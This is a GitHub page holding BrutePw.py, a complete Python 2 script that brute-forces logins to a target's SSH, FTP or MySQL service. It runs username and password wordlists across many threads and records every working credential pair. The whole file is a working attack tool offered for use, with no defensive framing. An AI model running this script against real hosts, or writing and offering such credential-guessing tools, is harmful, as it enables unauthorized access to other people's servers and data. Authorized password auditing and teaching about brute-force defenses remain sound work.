-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathBrutePw.py
315 lines (277 loc) · 9.89 KB
/
BrutePw.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#py2
'this script can bruter ftp/ssh/mysql'
__author__ = 'reber'
import Queue
import threading
import time
import logging
import socket
from optparse import OptionParser
import paramiko
from ftplib import FTP
import MySQLdb
#################公有类#################
class CommonFun(object):
"""docstring for CommonFun"""
def __init__(self):
super(CommonFun, self).__init__()
def set_log(self,lname):
logger = logging.getLogger(lname)
logger.setLevel(logging.DEBUG)
ch = logging.StreamHandler()
ch.setLevel(logging.DEBUG)
formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')
ch.setFormatter(formatter)
logger.addHandler(ch)
def show_log(self, lname, msg):
a = logging.getLogger(lname)
a.debug(msg)
def show_result(self, lname, rlist):
if rlist:
print "###################################################################"
for x in rlist:
self.show_log(lname,x)
else:
print "not found..."
#################SSH爆破模块#################
class SshBruter(CommonFun):
"""docstring for SshBruter"""
def __init__(self, *args):
super(SshBruter, self).__init__()
(options,arg) = args
self.host = options.host
self.userfile = options.userfile
self.passfile = options.passfile
self.threadnum = options.threadnum
self.timeout = options.timeout
self.result = []
self.set_log(self.host)
self.qlist = Queue.Queue()
self.is_exit = False
print self.host,self.userfile,self.passfile,self.threadnum
def get_queue(self):
with open(self.userfile, 'r') as f:
ulines = f.readlines()
with open(self.passfile, 'r') as f:
plines = f.readlines()
for name in ulines:
for pwd in plines:
name = name.strip()
pwd = pwd.strip()
self.qlist.put(name + ':' + pwd)
def thread(self):
while not self.qlist.empty():
if not self.is_exit:
name,pwd = self.qlist.get().split(':')
try:
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(hostname=self.host,port=22,username=name,password=pwd,timeout=self.timeout)
time.sleep(0.05)
ssh.close()
s = "[OK] %s:%s" % (name,pwd)
self.show_log(self.host,s)
self.result.append(s)
except socket.timeout:
self.show_log(self.host,"Timeout...")
self.qlist.put(name + ':' + pwd)
time.sleep(3)
except Exception, e:
error = "[Error] %s:%s" % (name,pwd)
self.show_log(self.host,error)
pass
else:
break
def run(self):
self.get_queue()
starttime = time.time()
threads = []
for x in xrange(1,self.threadnum+1):
t = threading.Thread(target=self.thread)
threads.append(t)
t.setDaemon(True) #主线程完成后不管子线程有没有结束,直接退出
t.start()
try:
while True:
if self.qlist.empty():
break
else:
time.sleep(1)
except KeyboardInterrupt:
self.is_exit = True
print "Exit the program..."
print "Waiting..."
time.sleep(5)
self.show_result(self.host,self.result)
finishetime = time.time()
print "Used time: %f" % (finishetime-starttime)
#################FTP爆破模块#################
class FtpBruter(CommonFun):
"""docstring for FtpBruter"""
def __init__(self, *args):
super(FtpBruter, self).__init__()
(options,arg) = args
self.host = options.host
self.userfile = options.userfile
self.passfile = options.passfile
self.threadnum = options.threadnum
self.timeout = options.timeout
self.result = []
self.set_log(self.host)
self.qlist = Queue.Queue()
print self.host,self.userfile,self.passfile,self.threadnum
def get_queue(self):
with open(self.userfile, 'r') as f:
ulines = f.readlines()
with open(self.passfile, 'r') as f:
plines = f.readlines()
for name in ulines:
for pwd in plines:
name = name.strip()
pwd = pwd.strip()
self.qlist.put(name + ':' + pwd)
def thread(self):
while not self.qlist.empty():
name,pwd = self.qlist.get().split(':')
try:
ftp = FTP()
ftp.connect(self.host, 21, self.timeout)
ftp.login(name, pwd)
time.sleep(0.05)
ftp.quit()
s = "[OK] %s:%s" % (name,pwd)
self.show_log(self.host,s)
self.result.append(s)
except socket.timeout:
self.show_log(self.host,"Timeout...")
self.qlist.put(name + ':' + pwd)
time.sleep(1)
except Exception, e:
error = "[Error] %s:%s" % (name,pwd)
self.show_log(self.host,error)
pass
def run(self):
self.get_queue()
starttime = time.time()
threads = []
for x in xrange(1,self.threadnum+1):
t = threading.Thread(target=self.thread)
threads.append(t)
t.setDaemon(True) #主线程完成后不管子线程有没有结束,直接退出
t.start()
try:
while True:
if self.qlist.empty():
break
else:
time.sleep(1)
except KeyboardInterrupt:
self.is_exit = True
print "Exit the program..."
print "Waiting..."
time.sleep(5)
self.show_result(self.host,self.result)
finishetime = time.time()
print "Used time: %f" % (finishetime-starttime)
#################MySQL爆破模块#################
class MysqlBruter(CommonFun):
"""docstring for MysqlBruter"""
def __init__(self, *args):
super(MysqlBruter, self).__init__()
(options,arg) = args
self.host = options.host
self.userfile = options.userfile
self.passfile = options.passfile
self.threadnum = options.threadnum
self.timeout = options.timeout
self.result = []
self.set_log(self.host)
self.qlist = Queue.Queue()
print self.host,self.userfile,self.passfile,self.threadnum
def get_queue(self):
with open(self.userfile, 'r') as f:
ulines = f.readlines()
with open(self.passfile, 'r') as f:
plines = f.readlines()
for name in ulines:
for pwd in plines:
name = name.strip()
pwd = pwd.strip()
self.qlist.put(name + ':' + pwd)
def thread(self):
while not self.qlist.empty():
name,pwd = self.qlist.get().split(':')
try:
conn = MySQLdb.connect(host=self.host, user=name, passwd=pwd, db='mysql', port=3306)
if conn:
# time.sleep(0.05)
conn.close()
s = "[OK] %s:%s" % (name,pwd)
self.show_log(self.host,s)
self.result.append(s)
except socket.timeout:
self.show_log(self.host,"Timeout")
self.qlist.put(name + ':' + pwd)
time.sleep(3)
except Exception, e:
error = "[Error] %s:%s" % (name,pwd)
self.show_log(self.host,error)
pass
def run(self):
self.get_queue()
starttime = time.time()
threads = []
for x in xrange(1,self.threadnum+1):
t = threading.Thread(target=self.thread)
threads.append(t)
t.setDaemon(True) #主线程完成后不管子线程有没有结束,直接退出
t.start()
try:
while True:
if self.qlist.empty():
break
else:
time.sleep(1)
except KeyboardInterrupt:
self.is_exit = True
print "Exit the program..."
print "Waiting..."
time.sleep(5)
self.show_result(self.host,self.result)
finishetime = time.time()
print "Used time: %f" % (finishetime-starttime)
def main():
parser = OptionParser(usage='Usage: python %prog [options] type')
parser.add_option('-i','--host',dest='host',help='target ip')
parser.add_option('-o','--timeout',type=int,dest='timeout',default=5,help='timeout')
parser.add_option('-t','--thread',type=int,dest='threadnum',default=10,help='threadnum')
parser.add_option('-L','--userfile',dest='userfile',default='username.txt',help='userfile')
parser.add_option('-P','--passfile',dest='passfile',default='password.txt',help='passfile')
(options, args) = parser.parse_args()
if not args:
parser.print_help()
exit()
if args[0]=='ssh':
if options.host:
ssh = SshBruter(options, args)
ssh.run()
else:
parser.print_help()
elif args[0]=='ftp':
if options.host:
ftp = FtpBruter(options, args)
ftp.run()
else:
parser.print_help()
elif args[0]=='mysql':
if options.host:
mysql = MysqlBruter(options, args)
mysql.run()
else:
parser.print_help()
else:
print "type must be ssh or ftp or mysql"
if __name__ == '__main__':
main()